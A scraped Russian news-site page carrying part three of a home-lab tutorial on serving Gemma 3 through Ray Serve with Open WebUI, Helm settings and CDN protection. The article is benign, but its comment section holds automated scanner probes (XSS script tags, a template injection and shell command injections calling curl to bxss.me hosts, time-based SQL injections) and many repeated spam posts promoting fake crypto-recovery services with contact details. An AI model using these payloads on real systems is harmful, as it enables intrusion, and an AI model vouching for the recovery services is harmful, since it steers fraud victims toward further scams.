Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Распределённый инференс и шардирование LLM. Часть 3: настройка авторизации и интеграция с Open WebUI

Мы с вами подобрались к заключительной части статьи-инструкции об организации распределённого инференса и шардирования LLM в домашних условиях. Мы уже запустили модель Gemma 3 и протестировали API, самое время настроить авторизацию и удобный веб-интерфейс для взаимодействия с нашей моделью. Им станет бесплатный Open WebUI.

В конце статьи попросим домашнюю LLM подвести итоги всей проделанной работы, а также поговорим о планах по развитию проекта.

02c1b7faec4ca92e14b843bbd4bbcbf7.png

Если вы не читали прошлые части статьи, стоит начать с них. В первой части мы настраиваем GPU и проброс в Proxmox, развёртываем Kubernetes-кластер, устанавливаем GPU Operator и KubeRay Operator. Во второй — пишем скрипт для vLLM и обеспечиваем доступ к нему через Ray Serve, а также запускаем модель Gemma 3 в KubeRay.

Настройка авторизации и интеграция с Open WebUI

Давайте рассмотрим, как развернуть Open WebUI — бесплатный веб-интерфейс для взаимодействия с LLM. Я дам краткий обзор Open WebUI и покажу, как связать его с нашим Ray-кластером, чтобы общаться с моделью через OpenAI-совместимый API.

Краткий обзор Open WebUI

Open WebUI — это веб-приложение, которое упрощает работу с большими языковыми моделями. Проект распространяется бесплатно под лицензией MIT, его код открыт. Благодаря Open WebUI пользователи могут:

  • отправлять сообщения к модели в формате диалога;

  • сохранять сессии диалога, чтобы возвращаться к ним и продолжать;

  • настраивать параметры инференса — температуру, длину вывода, top_k, top_p и другие;

  • управлять пользователями и ролями — регистрация, назначение роли admin/user.

Open WebUI поддерживает различные бэкенды для обработки запросов:

  • Ray Serve (через OpenAI-совместимый эндпойнт);

  • Ollama (локальные модели);

  • внешние OpenAI API (например, официальный OpenAI, Azure и Anthropic);

  • Pipelines (экспериментальные функции с LangChain и так далее).

Для дополнительного функционала можно активировать плагины, например Pipelines. Плагины позволяют загружать и обрабатывать документы в форматах PDF, DOCX и других с помощью тулкита Apache Tika. Также возможны интеграция с Langfuse и поддержка метода Retrieval Augmented Generation (RAG), что расширяет возможности работы с моделями.

Open WebUI поддерживает двустороннюю коммуникацию в реальном времени через WebSocket, что нужно для реализации «стримингового» ответа модели. Кроме того, пользователи могут одновременно вести несколько диалогов с разными моделями благодаря поддержке мультисессий.

Развёртывание Open WebUI через Helm

Основной Helm-чарт

Open WebUI предлагает официальный Helm-чарт, позволяющий:

  • запускать StatefulSet или Deployment (на выбор) с несколькими репликами;

  • настраивать Ingress, Redis (для WebSocket), PVC (хранение данных), авторизацию и так далее.

Пример установки:

helm repo add open-webui https://helm.openwebui.io
helm install open-webui open-webui/open-webui -f ap-values.yaml

Здесь ap-values.yaml — пример моих настроек.

Основные параметры:

nameOverride: "web-ui"

# ollama, pipelines, tika — опциональные модули, обычно отключены, если не нужны.
ollama:
  enabled: false
pipelines:
  enabled: false
tika:
  enabled: false

# Может использоваться встроенный Redis для WebSocket.
websocket:
  enabled: true
  manager: redis
  redis:
    enabled: true

# Глобальный Redis-кластер (можно отключить или настроить внешний).
redis-cluster:
  enabled: true
  fullnameOverride: open-webui-redis
  auth:
    enabled: false
  replica:
    replicaCount: 3

# Настройки реплик Open WebUI.
replicaCount: 2
image:
  repository: ghcr.io/open-webui/open-webui
  tag: ""
  pullPolicy: "IfNotPresent"

# Ингресс, используемый для доступа извне.
ingress:
  enabled: true
  class: "external-ingress"
  annotations:
    cert-manager.io/cluster-issuer: regru-letsencrypt-prod
    nginx.ingress.kubernetes.io/websocket-services: "web-ui"
  host: "ai.example.com"
  tls: true
  existingSecret: "ai-example-com-https-cert"

# Хранилище.
persistence:
  enabled: true
  size: 10Gi
  accessModes:
    - ReadWriteMany
  storageClass: "ceph-fs-nvme-sc"

# Ключевая переменная — куда «проксировать» OpenAI API.
openaiBaseApiUrl: "https://openai-api.example.com/v1"
openaiBaseApiUrls:
  - "https://openai-api.example.com/v1"

extraEnvVars:
  - name: ENABLE_OPENAI_API
    value: "True"
  - name: DEFAULT_MODELS
    value: "Gemma-3-12b"
  - name: WEBUI_NAME
    value: "AI.example.com"
  - name: WEBUI_URL
    value: "https://ai.example.com"
  - name: DEFAULT_LOCALE
    value: "ru"
  - name: RAG_EMBEDDING_ENGINE
    value: "openai"
  - name: ENABLE_LOGIN_FORM
    value: "True"
  - name: OPENAI_API_KEY
    valueFrom:
      secretKeyRef:
        name: openai-api-key
        key: api-key

Настройки Ingress

  • host: ai.example.com — имя домена, с которого будет доступен интерфейс;

  • annotations — можно указать аннотации для автоматического получения TLS-сертификата через cert-manager (например, cert-manager.io/cluster-issuer: regru-letsencrypt-prod);

  • class — external-ingress, если используете свой внешний Ingress.

Провайдер Let's Encrypt для reg.ru

У меня хостинг reg.ru и для Let's Encrypt-сертификатов я использую DNS01-Challenge. Помогает мне в этом вебхук для certmanager’а от ребят из «Фланта» regru-letsencrypt-prod. Для его работы необходимо добавить соответствующие аннотации и создать ClusterIssuer, который будет взаимодействовать с reg.ru API для получения сертификатов.

Параметры окружения (extraEnvVars)

  • ENABLE_OPENAI_API: True — чтобы включить работу Open WebUI с OpenAI-протоколами.

  • DEFAULT_MODELS: — указываем «Gemma-3-12b» как модель «по умолчанию» на интерфейсе.

  • WEBUI_URL: — внешний URL, чтобы ссылки и формы корректно формировались.

  • OPENAI_API_KEY: — если требуется ключ, который Open WebUI будет передавать при работе с внешним OpenAI API или вашим Ray API.

Полный список переменных окружения.

Интерфейс и основные блоки

Настройки модели

При первом запуске Open WebUI (допустим, https://ai.example.com) вы увидите главный экран со списком чатов и настройки. В настройках задаются:

  • Base URL для OpenAI-протокола (openaiBaseApiUrl или несколько URL в openaiBaseApiUrls);

  • модель по умолчанию;

  • API-ключ, если требуется.

Вот экран с настройками модели, где мы задаём URL до нашего API и ключ к нему:

ee13e240d68f5f7b2e86c8807c681506.png

Создание диалога и сохранение истории

Пользователь кликает «New Chat», выбирает модель, задаёт системное сообщение (System Prompt), после чего общается с LLM в режиме реального времени. Open WebUI в свою очередь отправляет запрос на POST /v1/chat/completions и получает стриминг-ответ, если включена функция stream.

Диалоги Open WebUI хранит в своей базе данных. По умолчанию это SQLite внутри контейнера или на PVC. Пользователи могут переключаться между чатами, а также возвращаться к старым чатам, продолжать или просматривать их.

Управление пользователями и ролями

Роль Admin

При развёртывании можно назначить — либо создать при первом запуске — учётную запись администратора. Администратор имеет право:

  • подтверждать регистрацию других пользователей;

  • назначать им роли — user, admin, guest;

  • настраивать общие параметры приложения.

Регистрация

Если ENABLE_LOGIN_FORM=true, тогда гости могут зайти на страницу /login и зарегистрироваться. Для этого понадобится ввести email и пароль. После гость попадёт в статус Pending, и админ сможет его активировать.

Это позволяет разграничить доступ к инференсу, так как LLM-вычисления дорого обходятся по ресурсам.

Пример инференса

1. Open WebUI развёрнут с ingress.host=ai.example.com.

2. Ray Serve с моделью Gemma-3-12b доступен по https://openai-api.example.com/v1.

3. В настройках Open WebUI или в ap-values.yaml прописали:

openaiBaseApiUrl: "https://openai-api.example.com/v1"
extraEnvVars:
  - name: DEFAULT_MODELS
    value: "Gemma-3-12b"

4. Авторизация: проходим логин в Open WebUI как админ или обычный пользователь.

5. Выбираем модель Gemma-3-12b, задаём вопрос и получаем ответ, который приходит из Ray Serve (vLLM):

3d2cabc9a61c9fe57f324dbd169844c2.png

Дополнительные возможности:

  1. LangChain Pipelines — можно активировать pipelines.enabled=true и подключать LangChain, Tika, инструменты для анализа документов.

  2. Ollama — если требуется локальный бэкенд Ollama, можно включить ollama.enabled=true. Но в нашем случае используется Ray Serve.

  3. Redis Cluster — при больших нагрузках лучше включить Redis Cluster (replicaCount > 3), чтобы WebSocket-соединения хранились надёжно.

Вывод приложения в интернет и защита с помощью CDN

Content Delivery Network (CDN) располагает точками присутствия (POP) по всему миру, что позволяет ей эффективно обрабатывать запросы пользователей к вашему домену, например ai.example.com.

При обращении пользователя запрос проходит через CDN, которая может арендовать каналы связи и направлять трафик по оптимальным маршрутам. Также CDN помогает защищаться от DDoS-атак, особенно на уровнях L3 и L4, и может выступать в роли прокси-сервера, скрывая реальный IP-адрес вашего кластера. В функционал CDN также входит поддержка WebSocket, что важно для работы Open WebUI, где чат может работать в режиме реального времени.

Пример сервиса CDN EdgeCenter предоставляет следующие возможности:

  • Роутинг трафика и кэш, что пригодится, если есть статические компоненты.

  • Вариант WAF-модуля, защищающего от классических веб-атак (OWASP Top 10).

  • Настройки геоблокировки. Например, можно запретить доступ из конкретных регионов.

Как это работает

Настраиваем DNS:

  • Доменное имя ai.example.com указывает на CDN (A/CNAME-запись).

Настраиваем CDN-конфигурацию:

  • Указываем backend-адрес — <LoadBalancer IP> или <Ingress IP> вашего кластера.

  • Включаем WebSocket pass-through, чтобы чат работал.

0e9140c9fded387800034916843fb27d.png

  • Активируем WAF, чтобы фильтровать вредоносные запросы.

923631a28e48adfa0c2d3c8b9e60ff36.png

CDN + TLS:

  • CDN может взять на себя создание TLS-сертификатов.

  • При этом внешний мир видит IP CDN, а не ваш кластер.

Преимущества

  1. Сокрытие реального IP: усложняет атаки на прямой адрес.

  2. Защита от DDoS: CDN-провайдер может отсеивать интенсивный нежелательный трафик.

  3. WAF: блокирует SQL-инъекции, XSS и другие угрозы из топ-10 OWASP.

  4. Контроль: некоторые CDN/WAF-решения дают гибкие правила (Rate Limiting, геоблок, ограничения по User-Agent).

Промежуточные итоги

  1. Open WebUI даёт удобный UI для GPT-подобных моделей, поддерживает OpenAI-стиль запросов, сохраняет чаты, имеет встроенную авторизацию.

  2. Настройки через Helm позволяют масштабировать количество реплик, подключать разные модули, настраивать TLS и persistence.

  3. Гибкая авторизация (роль admin, pending users) и возможность дополнительно использовать JWT на стороне Ray Serve (двойная защита).

  4. CDN и WAF помогают безопасно публиковать интерфейс наружу, скрывая IP-адрес кластера, фильтруя вредоносные запросы.

Заключение, сгенерированное домашней LLM

В трёх частях статьи мы с вами совершили настоящее путешествие в мир распределённого инференса, начиная с настройки GPU на Proxmox и заканчивая развёртыванием удобного веб-интерфейса для работы с большими языковыми моделями. Мы продемонстрировали, как можно создать гибкую, масштабируемую и безопасную инфраструктуру даже в домашних условиях.

Настройка GPU и проброс через Proxmox

Мы подробно разобрали, как правильно настроить Proxmox для проброса GPU в виртуальные машины. Это позволило объединить ресурсы нескольких видеокарт, обходя ограничения одной карты, и заложило основу для дальнейших вычислений.

Развёртывание Kubernetes-кластера с Deckhouse Kubernetes Platform

С помощью DKP мы создали Kubernetes-кластер, добавили GPU-узлы и интегрировали инструменты, такие как NVIDIA GPU Operator и KubeRay Operator, для эффективного управления вычислительными ресурсами.

Использование vLLM и Ray Serve

Благодаря vLLM мы смогли шардировать и распределить вычисления между несколькими GPU, а Ray Serve обеспечил масштабируемый HTTP API, совместимый с OpenAI-стилем, для общения с моделью. Это дало возможность работать с крупными языковыми моделями, не ограничиваясь одной видеокартой.

Подготовка Docker-образа и настройка KubeRay Cluster

Мы подробно описали процесс сборки Docker-образа на основе официального Ray-образа, добавления наших скриптов и необходимых зависимостей, а затем развёртывание Ray-кластера с помощью Helm-чарта. Это позволило создать оптимизированное окружение для инференса.

Интеграция с Open WebUI и вывод в интернет

Open WebUI был развёрнут как бесплатный и удобный интерфейс для взаимодействия с LLM, позволяя управлять пользователями, настраивать API и использовать расширенные опции через Helm-чарт. Кроме того, применение CDN и WAF гарантирует защиту и высокую скорость доступа, скрывая реальный IP-адрес кластера и обеспечивая базовую защиту от DDoS и других угроз.

В итоге статья демонстрирует, как можно собрать платформу для распределённого инференса, которая не только эффективно использует аппаратные ресурсы, но и обеспечивает безопасный, масштабируемый и удобный доступ к языковым моделям через веб-интерфейс. Это решение открывает широкие возможности для дальнейших экспериментов, разработки и внедрения в различных масштабах — от домашних лабораторий до крупных корпоративных инфраструктур.

Я надеюсь, что мой проект вдохновит вас на новые идеи и эксперименты, а полученная платформа станет отличной отправной точкой для реализации самых смелых задумок в области искусственного интеллекта и распределённых вычислений.

P. S. Что успело измениться, пока статья готовилась к выходу

Пока текст проходил редактуру, мой домашний кластер не стоял на месте. Я успел добавить несколько новых сервисов и начать эксперименты, которые делают инфраструктуру куда полезнее:

  • Stable Diffusion уже встроен в Open WebUI, поэтому теперь к каждому ответу LLM при желании можно получить мгновенную иллюстрацию или схему.

065e95462b3e7b8bb4429dcbcfc12299.png

  • Whisper обрабатывает голосовые запросы: надиктовал вопрос — сразу получил текст. В связке с TTS (Microsoft Speech) это даёт режим «расскажи сказку вслух» — ребёнок формулирует тему голосом, модель сочиняет историю и тут же её озвучивает.

ffea953e378205ba1d1e478a0a2e8509.pngb0c836ff9b7c5c11d861566ca6b77b93.png

  • Тестирую мультимодальность: доработал serve.py, чтобы Gemma 3 принимала не только текст, но и изображения.

  • Подключаюсь как бэкенд к различным Copilot-подобным ассистентам и AI-агентам (MCP): OpenAI-совместимый эндпойнт позволяет VS Code, JetBrains AI и другим инструментам «думать» силами домашнего кластера.

  • В плане доработок — режим RAG: загрузка PDF, DOCX и прочих документов, чтобы модель отвечала с цитатами и ссылками на конкретные страницы, а также AI-SRE-помощник для k8s: он будет на лету анализировать метрики и логи, предлагать и по одобрению применять исправления в пару кликов, непрерывно учиться на runbook’ах и отзывах, делать бэкапы и восстанавливаться из них — надеюсь, это позволит забыть про рутину и сосредоточиться на действительно крутых задачах.

Если у вас есть идеи, что ещё можно запустить на таком кластере, — пишите в комментариях, будем экспериментировать вместе!

P. P. S. Минутка рекламы

20 мая в 19:35 я выступаю на первом митапе Deckhouse User Community с докладом по теме этой статьи. Места на офлайн в Москве закончились, но можно посмотреть выступление в онлайн-трансляции и задать мне вопросы в чате. Зарегистрироваться можно на TimePad.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

